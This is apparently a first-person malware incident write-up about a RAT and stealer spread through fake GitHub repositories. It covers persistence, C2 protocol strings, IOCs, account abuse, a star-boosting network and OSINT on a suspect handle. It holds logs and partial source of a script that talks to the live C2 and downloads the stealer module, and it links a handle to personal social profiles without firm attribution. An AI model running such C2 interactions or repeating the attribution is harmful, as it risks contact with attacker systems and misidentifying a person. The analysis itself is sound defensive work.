All four launched the same RuntimeBroker.exe. One used a repeating 30-minute trigger; the remaining three used boot triggers. The definitions ran under the built-in Administrator SID (...-500) with InteractiveToken and HighestAvailable. The retained task XML and timestamps, not just the names, were the important evidence. Deeper reverse engineering later identified Task Scheduler COM usage rather than a simple schtasks.exe command. This was a useful reminder not to confuse a conventional technique with an absence of implementation skill.
The sample also stored C2 configuration under HKCU\Software\Microsoft\Event and the value was System. That was configuration storage, not another way to start the malware. The execution persistence came from the scheduled tasks. The RAT also created the mutex Global\RuntimeBrokerAds to enforce a single running instance.
This time, my initial bet had been useful. The important words are this time.
Parallel Reverse Engineering
Around the same time, the automated analyses began returning useful results. Neither independently recovered the complete picture, but their findings overlapped with artifacts I was seeing on the host and exposed additional capabilities. The emerging picture was a custom x64 C++ RAT. Its runtime C2 used a WebSocket-based channel to 145.63.134[.]94:406; a secondary HTTP task channel used port 408. The analysis also identified support for updated *.duckdns.org endpoints. Protocol strings included:
ready; getinfo ping pong
task createtask closetask task_id;
task_done; update
The early analysis associated command execution with the straightforward primitive cmd.exe /C <command>. The WebSocket handshake contained an especially distinctive artifact:
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
That is the example nonce from RFC 6455, not a newly randomized key. In this context, its repeated use was a useful network indicator, but not enough for malware-family attribution.
The binary was also more heavily protected than the PowerShell stager suggested. The analysis identified encrypted strings, dynamic API resolution, control-flow and MBA-style obfuscation, and anti-analysis checks covering multiple virtualized environments, including an explicit anyrun GPU indicator. Other recovered references and paths involved process-critical behavior, privilege adjustment, WMI-based antivirus discovery, AMSI-related manipulation, and native memory/thread APIs such as NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx. Process names including winlogon, smartscreen, and explorer.exe were also relevant to the early analysis. These were leads into the implementation, not proof that every associated technique successfully ran on my computer.
I would not characterize the result as an especially advanced implant by high-end red-team standards. At the same time, it was certainly not trivial malware: custom obfuscation, dynamic API resolution, sandbox checks, redundant scheduled tasks, and a functional tasking protocol were quite enough to cause trouble. In other words, it did not need to be elegant to be dangerous.
Knowing that port 408 existed was not the same as understanding the complete module-delivery path. At the time, I had enough to hunt the foothold. The unresolved details would become the starting point for a much more productive second analysis.
Multiple Persistence Mechanisms, but One Executable
Every autostart mechanism I identified converged on the same executable:
1.exe
↓ self-copy
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
↑
├── MicrosoftUpdaterMachineCore
├── ScheduledDef
├── ProgramDataUpdate
└── SvcRestartTaskWindowsLogins
That was probably the most reassuring technical finding during containment. There were multiple ways to relaunch the malware, but only one on-disk executable behind the autostarts I had identified. This did not mean the executable had never downloaded another module, injected code, or collected information before I got there. But the persistence paths I had found all shared the same dependency. From the attacker's perspective, this created a single point of failure: once those tasks were removed and the RuntimeBroker.exe copy was deleted, those particular relaunch paths became useless.
I have to admit that this realization gave me a bit of cold sweat in retrospect. Had the malware installed several independent footholds: a scheduled-task executable, a service binary, a WMI-launched script, and a separate side-loaded component, manual containment would have been considerably more difficult. Missing even a single independent branch could have allowed the attacker to regain execution and rebuild the others. This incident was more forgiving.
I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the other persistence surfaces: services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, suspicious scheduled-task actions, etc. Fortunately, given the relatively short time window, an exhaustive search was still practical, and I eventually confirmed that no other persistence mechanisms had been left behind.
At the time, it nevertheless felt like the end of the incident. It was not.
The Overlooked Aftermath
After removing the known persistence mechanisms and verifying that the persistent executable was no longer present, I considered the host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had been removed. But that confidence did not last very long.
When I later checked Discord, I found that my primary account had been signed out. Attempts to authenticate failed. Reviewing the associated email account immediately explained why: there were unread messages containing a password-reset request, confirmation that the password had changed, and a separate notification about activity that violated Discord's policies.
The account had been taken over, and because the password reset had been completed through the associated mailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.
Fortunately, I still retained control of the mailbox. I changed its credentials and security settings, recovered the Discord account through support, and subsequently hardened both accounts.
However, that was far away from the end of the aftermath.
Account Abuse Across Multiple Services
A series of additional incidents followed across services used on the compromised computer:
- Instagram was hijacked but not fully seized. The existing account state was used to send spam to contacts, including promotion of
marawex[.]com.
-
-
Steam was similarly abused without a full account seize. Spam was sent through the account, and an unfamiliar user shown in the later preserved profile as
661SAVAGEEEwas added to Family Sharing. That user had been cheating in ARC Raiders and was eventually banned. As a consequence, I was also banned because my account owned the game being shared. A more comprehensive OSINT investigation into661SAVAGEEEcomes later.
-
- A second Discord account sent spam without a password change. I noticed quickly because my two accounts were connected. The sender then tried to remove the conversation from the compromised account's side. The promoted domain was
tetsobet[.]com.
- Amazon blocked an attempted full seize but still approved fraudulent orders. A USD 25 gift card succeeded; a USD 100 attempt was blocked. The actor also ordered vitamins and cat food that I previously purchased, apparently trying to blend into my purchasing history.
- Cursor accumulated approximately USD 70 in unauthorized usage. Codex consumed part of my weekly allowance. Claude may also have been exposed, but Anthropic detected suspicious activity and invalidated the session promptly before I observed obvious material impact.
Among the platforms and vendors I looked at, Anthropic was one of the quickest to recognize the broader wave of info-stealer campaigns. Although they had not mapped the activity to the specific group I encountered at the time, their analysis of the TTPs and surrounding context was impressively accurate and closely matched many of the behaviors I had observed firsthand.
Of course, there are many info-stealer operations out there, and the activity Anthropic documented was broader than this particular cluster. Still, I was somewhat glad to realize that I might have been among the relatively small number of people who became aware of this specific, possibly emerging group at such an early stage, even before it had been clearly separated and mapped by major threat-intelligence teams.
When analyzing the PowerShell stager, I did not think highly of its evasion or OPSEC. However, the behavior that followed the account compromise showed a much more mixed picture, with noticeably different levels of stealth and operational care.
My Discord account was seized, which was certainly dangerous, but the activity was also noisy enough to expose the compromise almost immediately. The unauthorized Amazon purchases were more careful. The attacker started with a lower-value gift card and items I had purchased before, likely to stay closer to my normal activity baseline, before moving on to a higher-value purchase. The attacker also had the awareness to delete sent messages from my side afterward.
Some of the activity was conducted quite carefully, while other parts were surprisingly rough. The inconsistency itself became another useful clue about the operation.
Was the Machine Still Compromised?
The continuing incidents raised a disturbing question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. Continued account abuse naturally made incomplete remediation an obvious hypothesis.
As more evidence accumulated, however, a different explanation became stronger. The affected services were ones for which authenticated state already existed on the computer. Visiting them from my browser often did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material.
I also found suspicious authenticated sessions associated with other geographic regions on services such as ChatGPT and Steam, despite MFA being enabled. MFA at login does not necessarily invalidate an already authenticated session if its bearer material is stolen and remains usable. Steam provided an especially useful example. Its security page associated the suspicious browser activity with an authorization originally established on August 3, before the date of infection:
That was consistent with reuse of previously authorized browser state, rather than necessarily learning my password and defeating Steam Guard again. It also made the sequence more coherent: a new abuse event did not have to mean a new compromise of the computer.
There were application-specific authentication artifacts to consider as well. Some tools retain reusable credentials locally. The exact files, storage modes, and protections differ; their presence cannot simply be assumed for every installation. The later module analysis would turn several of those possibilities into concrete collection targets.
Taken together, the evidence pointed toward a more likely explanation:
The continued account abuse was primarily the aftermath of authentication material stolen during the original compromise, rather than evidence that the RAT itself was still persistently controlling the machine.
Removing the Malware Was Not the Same as Remediating the Incident
My initial response had been heavily host-centric. I had concentrated on questions such as:
- Is the implant still running, and where did it establish persistence?
- What launches it after reboot, and are there additional copies?
- Is the C2 connection still active?
Those were valid questions. However, the blind spots were also disturbing:
- What had already been stolen before the malware was removed?
- Which authentication artifacts were still valid, and which sessions needed to be revoked?
- What consequences were still possible given what had already been compromised?
Looking back, I do not think this was simply a forgotten checklist item. My response sequence had been internally consistent: interrupt execution, understand the stager, locate the executable malware, preserve the sample, identify persistence, remove the foothold, and verify that the C2 connection did not return. Almost every action was optimized around one objective: removing the attacker's host-level access. That objective makes intuitive sense from an offensive security perspective.
During a red-team engagement, a credential, cookie, or token is usually a path rather than a destination. I obtain one because it allows me to authenticate somewhere else, escalate privileges, move laterally, or continue toward an objective. Its value is normally understood in relation to the access chain it enables. An information-stealer ecosystem has a very different economic model. Credentials and authenticated sessions do not have to be intermediate steps toward continued control of the original machine. They can themselves be inventory. They can be collected, packaged, distributed, sold, or consumed by someone who has never interacted with the compromised endpoint. The adversary therefore did not necessarily need to come back.
That was the mismatch in my original threat model. I was asking: Can the attacker still act on this machine? Remediation also required another question: What remains compromised even after host-level access has been eliminated? Unfortunately, deleting RuntimeBroker.exe could not remediate everything that had already left the host.
There was also an important asymmetry in the feedback. Removing persistence produces immediate and visible results. Delete a malicious task, reboot, and observe that the executable does not return. Kill a C2 connection and watch it disappear. Each action provides some reassurance that part of the problem has been solved. Credential remediation is different. Revoking a stolen session, rotating a key, resetting a password, or logging out all sessions usually provides no satisfying confirmation that the action was necessary. The attacker may never use a particular token or credential immediately, but the risk already exists. If that work is missed, the failure can remain invisible for quite some time. The consequence may appear days later, on another platform, in a form that initially looks unrelated to the original compromise.
The below flow is exactly what happened here:
Malicious repository → PowerShell delivery → RAT execution
↓
Authentication material collected
↓
Host persistence removed
↓
Stolen authentication material remains valid elsewhere
↓
Access distributed or consumed downstream
↓
Different services abused over time
My offensive security background enabled I to complete the initial analysis of the stager and implant, cut off the C2 connection, and eliminated the persistence within a reasonably short time window. Later, I discussed the incident with a friend who also works in cybersecurity, he appreciated the responsiveness and joked that his company might have needed five person-days to accomplish what I had done during the initial response.
Still, I had missed something more fundamental. Threat actors are not simply the evil version of red teamers or penetration testers. They are just threat actors, operating under their own incentives. They do not necessarily care about reaching some grand final objective if the things collected along the way already have value. For them, almost any useful loot can become an asset.
Following the Operation Beyond the Endpoint
The incident I experienced was unpleasant, but I have to admit that it became a very valuable lesson in my career. It may even turn out to be a turning point that shapes my methodology in the long term.
By this point, both the host-level access and the compromised credentials had eventually been dealt with, which meant I could finally spend more time focusing on the cybercrime group themselves. And I wanted them to know: they had hacked and bothered a hacker. How could I just let that go?
Within the boundaries I had to respect, there was still quite a lot I could do to cause them some trouble and make their lives more difficult. So let us rewind to the beginning of the incident. This time, instead of cleaning up after them, let us be the bloodhound and start following their information, infrastructure, and activities.
The First Puzzle: The Malicious Repository
The initial artifact was the MillipedeLoad/Adobe-Acrobat-Pro repository. The screenshot I had preserved became more useful on this second visit. It showed 303 stars and 17 forks, but only five contributions in the last year on the profile. The apparent project popularity and the visible development activity were telling very different stories.
A popular repository with few commits is not automatically malicious. A mature project might be mirrored, imported, or maintained elsewhere. Here, however, that explanation had to coexist with a README that led into a malicious PowerShell chain and a repository whose actual source content did very little to support its advertised purpose. At that point, I no longer considered the star and fork counts trustworthy. In context, they looked much more like artificial popularity, possibly the result of some form of GitHub boosting or farming used to make the repository appear legitimate.
There was one immediate problem: some of the relevant accounts and repositories had already disappeared. The convenient version of the investigation: open the profile, inspect the files, follow the links, was no longer available everywhere.
I worked outward from the objects that had survived: cached search results, surviving forks, Git history, and public-event archives such as Ecosyste.ms Timeline, which presents GH Archive data. Web archives were another place to look, but a query to an archive was not the same thing as recovering an actual snapshot. I therefore set the expectation that the original repository might never be fully recoverable. Fortunately, I did not really need it to be. Metadata, signatures, naming patterns, and other traces could already provide a great deal of useful information.
I also did not believe that the malicious repository I encountered was an isolated case. There was likely a broader network of malicious repositories behind it, and those repositories should share at least some recognizable similarities: file-naming conventions, stager URIs, repeated README instructions, surviving forks, account relationships, and other operational patterns. With that assumption, the investigation became less about recovering one deleted repository and more about finding its relatives.
That approach worked well. The recovery and pattern-matching process began to reveal a much larger network.
The Names Changed, They Didn’t
The first useful cluster covered surprisingly unrelated products:
| Repository | Advertised theme | Recovered connection |
|---|---|---|
MillipedeLoad/Adobe-Acrobat-Pro |
PDF software | Initial incident lure; parent history preserved by surviving forks |
GulfMouseVice/crypto-miner-gpu-cpu-hashrate |
Cryptocurrency mining | shells[.]su delivery instructions and a similar repository lifecycle |
Binaryunenhance/instagram-liker-bot-auto-like-software-download |
Instagram automation | Parallel instructions using gitbase[.]su |
HyperIllusionistTap/Whale-Tracker-Analytics |
Market analytics | Retained same-template delivery observations; less complete surviving Git evidence |
They did share some signatures: the /powershell/Genesis.ps1 path, closely related remote-execution instructions, keyword-heavy READMEs, very small trees, and source files that did not appear to implement the promised applications. The early snapshots recorded roughly 3–4 KB for several of these repositories despite hundreds of stars.
A particularly revealing detail was the language badge. One repository had temp.cpp, another temp.py, and another temp.cs. At a glance, that suggested C++, Python, and C# projects. Looking inside exposed the same content:
# LINK IN REPOSITORY
The retained Git blob identifier was identical:
f7aa7c960f15059c892e4558d44ad9ac70f46cba
Three apparent implementation languages, one instruction to go somewhere else. The badge had become part of the packaging rather than evidence of actual software development. It was an inexpensive way to make a README-driven delivery page look more like a normal code repository. The exact blob match proved content reuse, not authorship. A short placeholder is easy to copy and not distinctive enough to support campaign attribution by itself. Its significance came from the surrounding consistency: the same delivery path, the same thin-code construction, similar README instructions, and the timing of the promotion activity that followed.
The Age Was Real; The Apparent History Was Misleading
Commit history added another useful correction. A repository could have existed for months without having contained anything resembling its current advertised software. The retained GulfMouseVice history began on March 31 with a README consisting of the one-line heading # fljghchq. On August 16, the README was replaced with a much more substantial miner promotion containing the Genesis delivery command. A decorative Python file followed minutes later.
The Adobe lure had a comparable sequence: an old minimal README, followed by a malicious rewrite and a placeholder source file shortly before the incident. The Instagram branch carried the parallel gitbase[.]su instructions earlier in August.
| Recorded change | Time in the retained commit data | Why I kept it |
|---|---|---|
| Adobe malicious README | August 16, 18:12:06 UTC | Content change that made the old repository dangerous |
Adobe temp.cpp placeholder |
August 16, 18:14:34 UTC | Cosmetic source-language contribution immediately afterward |
| Miner malicious README | August 16, 19:45:40 UTC | A similar conversion about 94 minutes after the Adobe change |
Miner temp.py placeholder |
August 16, 19:48:28 UTC | The same short delay before adding the decorative source file |
According to the timeline and pattern, although those repositories had been created months earlier, they had remained mostly inactive for quite some time. One plausible explanation is that the group wanted the repository age itself to make them look more trustworthy. Then, at some point, the repositories were updated into their current form, with the malicious installation flow added later to better deceive potential victims.
The Malicious GitHub Network: Bots, Repositories, and Boost Farming
The forks were useful in two ways. First, they preserved evidence. Surviving Adobe forks under dev-Warrior65621 and zx-King7147447733lion, along with miner forks under accounts such as mad-Plasma-Mind9, retained parent relationships and Git history even after the original repositories became unavailable.
Second, their timing helped reveal how the repositories were being promoted. In several retained examples, forks appeared roughly 12, 21, and 33 minutes after the corresponding weaponization or finalizing changes. The pattern suggested that promotion often followed very shortly after a repository was prepared.
The account names also began to look familiar: words combined with numbers, often followed by technical-looking suffixes such as -hub, -bin, -cli, -pwn, or -cfg. After enough examples, they stopped looking like unrelated usernames and started looking more like output from the same naming routine. The naming pattern alone was not especially strong evidence. What made it interesting was that the same style kept appearing alongside the same behavior: newly created or lightly populated accounts, tight timing around freshly weaponized repositories, similar fork activity, and the same delivery template. At that point, I was no longer looking at a collection of suspicious repositories. I was looking at a network.
I built the next pass around alternating pivots:
Repository → star/fork actors → those actors' other repositories → repository owners → more recorded interactions
The graph needed typed edges. An owns edge described ownership as recorded by the platform. A starred edge described a public event. A fork edge described lineage.
One historical repository became a particularly useful seed:
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
The owner name was unusual enough to warrant a separate investigation, which I return to below. For the graph, its immediate value was the surrounding event history. The retained Timeline record showed an owner self-star on January 7, 2026, at 17:48, followed by ten other accounts starring the repository in the displayed 19:41–19:44 window. Three minutes is not a great deal of time for ten independent people to discover the same obscure repository, especially when several of them also appeared around the same other projects in those same minutes.
The ten-account seed cohort retained in the event graph
fastjack73leontrq finklousen59upy
pripak-minibearqie greyjulianbell491vdf
stne-100ye7 funnyway9m51
bambino66lamb4bn urch-arrow376
laner-mrgood306 brom-100cmh
Two optimization projects under glas2000wsz shared four members of this cohort. Other repeated targets involved Rust and Valorant cheats, Counter-Strike skin changers, an authenticator, and performance utilities. The recurring accounts were more informative than any one project's alarming title.
The activity also repeated over time. A January 19 wave involved cheat and executor themes. On January 28, two seed stargazers promoted the same authenticator within a 13-minute window. On February 6, one account starred several game/performance projects in roughly a minute. On February 8, a market-analysis assistant appeared alongside another game-related target. This was not simply “people who like games sometimes star game repositories.” It was a small set of accounts repeatedly supplying similar bursts of attention to otherwise unrelated software themes.
The first bounded pass contained 47 nodes and 67 edges: 28 account nodes, 19 repositories, 48 star relationships, and 19 ownership relationships. The second pass expanded to 125 nodes and 150 edges. It includes 54 account nodes, 45 repositories, 14 evidence nodes, six skill variants, and six other typed objects. The 25 sampled current forks are already included in the repository count.
The visual graph should not be treated as an exhaustive representation of their malicious GitHub operation. I may have missed some signatures, and I deliberately stopped after the second bounded expansion rather than continuing into a third pass and beyond. Even within that limited scope, the network had already grown much larger than I initially expected. I can only imagine how much further it might extend if every branch were followed.
At the very least, one thing had become clear to me: this was not a small operation, and the group should not be underestimated.
IP Addresses, Domains, and What the Infrastructure Gave Away
By this point, I already had enough information about their malicious GitHub operation. Their IP addresses, domains, and broader infrastructure naturally became the next set of clues to follow.
The host-side investigation had already exposed more than one server role. shells[.]su belonged to the delivery and screenshot-collection layer. 145.63.134[.]94 appeared in the native payload's runtime communication. The parallel repository templates introduced gitbase[.]su.
I kept those roles separate rather than labeling everything as C2. The distinction was useful for understanding how the infrastructure actually fit together: some systems delivered payloads, some received stolen data, and others appeared later in account abuse or promotion activity.
The historical records around 192.162.199[.]184 were particularly useful. The investigation material associated it with shells[.]su and with earlier domains including verificator[.]cc. The later network report also recorded genesis-hub[.]cc in that hosting cluster. These observations supplied continuity around infrastructure whose visible front could change. Please refer to https://phishdestroy.io/domain/verificator.cc/, https://gridinsoft.com/online-virus-scanner/url/verificator-cc, https://phishdestroy.io/domain/genesis-hub.cc/, https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc for details.
They also imposed a limit. An IP can host different domains at different times, and shared or reused infrastructure does not automatically establish the same tenant. The useful unit was the host, service, domain, path, and observation time together
The retained domain research placed verificator[.]cc registration on July 27 and genesis-hub[.]cc on July 30, with historical association to the same .184 server. shells[.]su followed on August 13; the lure repositories were weaponized shortly afterward. The value of the older threat-intelligence records was not simply that a reputation service had drawn a red warning icon. It was that the host already had relevant malicious-hosting context before the particular lure I had executed appeared.
Unnecessarily informative Windows Server
As we already knew, IP 145.63.134[.]94 was the C2 server, while 192.162.199.184 was the stager server. However, both exposed far more services to the Internet than necessary, rather than relying on measures such as IP whitelisting, local-only listeners, or tunneled access.
Shodan had captured snapshots of both hosts:
While exposing ports such as 135, 445, and 3389 does not automatically guarantee a pwn, I would hardly call it great OPSEC either. Some of these services are rather verbose, leaking fingerprints useful to threat hunters, and perhaps breadcrumbs for other attackers looking at the same infrastructure. There is a certain irony in that: I am a red teamer, and I still got compromised. They are attackers too. That does not mean nobody gets to attack them. lol
The Handle That Did Not Blend In
The shells[.]su record retained a registry contact:
krassavchik13370@gmail[.]com
The recorded registration time was August 13, 2026, 19:17:32 UTC. The gitbase[.]su investigation led to another reported contact:
gitlerzov1488gitler@gmail[.]com
A contact string also does not prove a legal identity. It can be a burner, a compromised account, misleading metadata, or something deliberately planted. Still, this one differed sharply from the apparently generated GitHub names around it. I had already encountered an almost exact version of it in a historical repository owner:
WHOIS contact local part: gitlerzov1488gitler
Historical GitHub owner: gitlerzov1488gitler-cmd
Well, it appears that this one stands out from all other randomly-looking handles. The core string was gitlerzov1488. The full email local part repeated gitler at the end, while the GitHub owner added -cmd. It was specific enough to search in smaller pieces and exact combinations.
“Gitler” is a reference to Hitler, while “1488” is commonly associated with racist and white-supremacist ideology. Given the level of moderation across online communities, as well as the public backlash and embarrassment that can come with expressing such views too openly, I would not expect there to be a large number of surviving handles built around those terms, though certainly not just a handful either. The combination gitler1488 should be considerably rarer, perhaps appearing only a few times, but probably not uniquely so, since it is still a fairly obvious combination within a certain subculture. The addition of ZOV, however, changes the picture significantly. It acts as a much more discriminating token, making the compound handle exceptionally rare and plausibly unique in practice. My question was whether the operational identifier overlapped with a longer-lived public persona. That would be an interesting OPSEC observation even without a real name, address, nationality, or employer.
By utilizing searching engine and tools such as Sherlock, a ticktok profile caught my eyes, as the profile showed the exact gitlerzov1488 handle with the display name “Mango kartel 66.” The user's video covers various topic, and the Minecraft one looks especially interesting.
In the Minecraft relevant video, the game character stands on the Nazi swastika shaped boat, and the comment section attracted people who shared the same ideology.
Since Minecraft is a key element in his channel, I cross referred Minecraft social platform, and found 2 potential matches.
I also found a hit on KLauncher community:
Aside from the exact gitlerzov1488 string, I also searched for various permutations and related combinations, such as 1488gitler1488. But at the end of the day, I was still missing some of the bridges needed to connect everything together.
Even with gitlerzov1488, I did not think it was the kind of common handle, so existing matches were certainly useful clues. Still, I could not prove that they all belonged to the same person or make a definitive attribution from that alone. Maybe that is simply the uncertain nature of OSINT. Sometimes the pattern becomes increasingly convincing, while the final bridge you want never quite appears.
The inconsistency still confused me. Most GitHub accounts looked disposable. This one overlapped with a distinctive email local part and a public persona with older activity. Was it an early operational mistake that later account randomization was intended to cover? That was a reasonable hypothesis to record. In fact, the retained seed-amplification events were already present in January, months before my August infection. The data did not provide a clean “one personal handle first, anonymized bot army afterward” transition. The account pool might have existed for promotion, for rotation, as a shared commercial service, or for several purposes simultaneously.
Sample Revisit: When the IOC Was Not the Whole Answer
During the incident, 1.exe had been useful primarily as a source of actionable answers: where it copied itself, what relaunched it, what it contacted, and which host artifacts I needed to remove or preserve. AI-assisted analysis helped shorten that process, but it was not a complete reconstruction of the program.
After the immediate remediation work, an awkward inconsistency remained. The account aftermath strongly suggested information theft. The executable analysis had identified persistence, C2, tasking, obfuscation, and process/memory operations, but not an obvious, comprehensive implementation of all the browser and application theft that the consequences seemed to imply. There were several possible explanations. The relevant code might be hidden behind obfuscation. It might have been missed during the triage. Or it might not be in this executable at all. The third possibility deserved more attention than I had initially given it. At this stage, threat intelligence and reverse engineering stopped being separate workstreams. The infrastructure and tasking clues told me where to look in the binary; the binary told me what observations would distinguish the competing explanations.
Hello RedHive Stealer, I’m Your New Victim — Well, Not a Real One
The protocol work led to observation scripts using fabricated host profiles. The idea was to understand the delivery and tasking behavior without handing the operation another real computer or running whatever it returned. The client could record task messages without implementing the task execution they requested. It did not need browser credentials, real files, or an actual information-stealing routine to reveal what the control channel was telling a client to do. The recorded sequence was recognizable: a client checked in, the server requested information with getinfo, and a fabricated profile was returned. Then came the message that changed the direction of the analysis:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --id A1B2C3D4 `
>> --user jsmith `
>> --os "Windows 11 Pro" `
>> --av "Windows Defender" `
>> --observe 600 `
>> --logfile c2_406.jsonl
[2026-09-08T03:49:08+00:00] PROFILE Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender'
[2026-09-08T03:49:08+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:49:08+00:00] SEND Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0'
[2026-09-08T03:49:09+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:49:09+00:00] SEND Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880'
[2026-09-08T03:49:09+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:49:09+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:49:09+00:00] MODULE-OFF Task 'Stealer' recorded; TCP/408 collection is disabled
[2026-09-08T03:49:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:27+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:42+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:42+00:00] SEND Sent application-layer pong
That was the real task text captured during the investigation. The task name was quite self-explanatory, but with my probing limited to port 406, I still could not gather enough clues to understand how the Stealer task actually worked.
Returning to the original executable clarified the division of labor. Port 406 was the WebSocket tasking channel, while port 408 served the module over a separate HTTP connection. The task message itself was never supposed to contain the full module bytes. Once I implemented the simulated interaction with port 408, the eventual capture documented:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --capture-modules `
>> --capture-dir captured_modules `
>> --logfile c2_full.jsonl
[2026-09-08T03:51:03+00:00] PROFILE Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus'
[2026-09-08T03:51:04+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:51:04+00:00] SEND Registered synthetic victim: 'ready;0EF155DE;version;1.0.0'
[2026-09-08T03:51:04+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:51:04+00:00] SEND Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880'
[2026-09-08T03:51:04+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:51:04+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:51:04+00:00] MODULE-GET GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE
[2026-09-08T03:51:05+00:00] MODULE Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
[2026-09-08T03:51:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:51:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:27+00:00] SEND Sent application-layer pong
This time, the sample really had captured. The new file was a native x64 DLL, not another copy of the 533,504-byte 1.exe . Its original capture hash was:
9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
The DLL's own report-generation code contained the label “Redhive Stealer.” Its initialization logic also checked for Global\RuntimeBrokerAds, the mutex already associated with the original loader, before using Global\StealerLib for its own instance control. The emerging architecture was now more coherent:
Persistent loader / RAT
↓ receives task
Separately supplied Stealer DLL
↓ collects and organizes data
Independent result-upload channel
The modular idea resembled post-exploitation frameworks: keep communication and dispatch in a resident component, then supply the capability needed for a particular job. The actual captured object was a DLL. It also changed the meaning of an earlier reassuring finding. All identified autostarts could point to one executable while that executable still acquired additional runtime capabilities.
The script to simulate a victim it as below:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genesis-SU Synthetic Victim Suite
Integrated defensive research utility with four functional modules:
delivery Synthetic delivery/staging callbacks + fake screenshot upload
honeypot TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection
workflow delivery -> 406 honeypot -> optional 408 collection using one identity
exfil-* Controlled TCP/1488 protocol laboratory using synthetic ZIP content only
Safety invariants:
* All victim data is synthetic.
* Attacker-supplied responses/tasks are recorded only and never executed.
* Downloaded modules are never loaded or run.
* Valid PE modules are neutered before disk I/O and stored read-only.
* Synthetic screenshots are generated in memory; the analyst desktop is never captured.
* TCP/1488 client mode is restricted to loopback/private controlled targets.
* No brute-force, flooding, service enumeration, or exploit logic is included.
"""
from __future__ import annotations
import argparse, base64, hashlib, io, ipaddress, json, os, random, re
import secrets, socket, ssl, stat, string, struct, threading, time
import urllib.error, urllib.parse, urllib.request, zipfile, zlib
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path, PurePosixPath
from typing import Iterable, Optional
DEFAULT_DELIVERY_BASE = "https://shells.su"
DEFAULT_C2_HOST = "145.63.134.94"
DEFAULT_CONTROL_PORT = 406
DEFAULT_TASK_PORT = 408
DEFAULT_EXFIL_PORT = 1488
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
WS_KEY = "dGhlIHNhbXBsZSBub25jZQ=="
BOT_VERSION = "1.0.0"
CAMPAIGN_ID = "36763880"
DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
MAX_MODULE_BYTES = 0x300000
MAX_HTTP_HEADER = 65536
MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024
MAX_EXFIL_ENTRY = 512 * 1024
MAX_EXFIL_ENTRIES = 64
AUTH_MARKER = b"auth_ok"
WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2
WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA
SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-")
class Logger:
def __init__(self, jsonl_path=None):
self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None
self.lock = threading.Lock()
@staticmethod
def iso():
return datetime.now(timezone.utc).isoformat(timespec="seconds")
def event(self, tag, message, **fields):
with self.lock:
print(f"[{self.iso()}] {tag:<11} {message}", flush=True)
if self.fp:
rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields}
self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n")
self.fp.flush()
def close(self):
if self.fp:
self.fp.close()
@dataclass
class VictimProfile:
hostname: str = ""
username: str = ""
os_version: str = ""
av_product: str = ""
bot_id: str = CAMPAIGN_ID
checkin_id: str = ""
country: str = ""
def randomize(self):
if not self.hostname:
self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7))
if not self.username:
self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"])
if not self.os_version:
